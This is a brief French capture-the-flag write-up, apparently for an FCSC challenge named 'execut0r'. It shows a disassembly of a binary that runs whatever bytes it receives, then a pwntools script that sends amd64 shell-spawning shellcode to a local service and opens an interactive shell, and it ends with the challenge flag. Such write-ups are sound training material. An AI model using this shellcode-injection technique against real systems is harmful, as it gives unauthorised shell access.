Le fichier execut0r
exécute simplement le code qu’on lui envoie :
00001154 void buf
00001154 read(fd: 0, &buf, nbytes: 0x200)
00001160 (&buf)()
00001168 return 0
(Désassemblage avec BinaryNinja)
#!/usr/bin/python
from pwn import *
context(arch='amd64')
sc = asm(shellcraft.sh())
#proc = process('./execut0r',stdin=PTY)
proc = remote('127.0.0.1',4000)
proc.clean()
proc.sendline(sc)
proc.sendline(b'uname -a')
proc.interactive()
On obtient :
FCSC{9f8a2eb6fbb26644dab670f1a948c449ba36102417efc3e40c3bd4774bfb4f7a}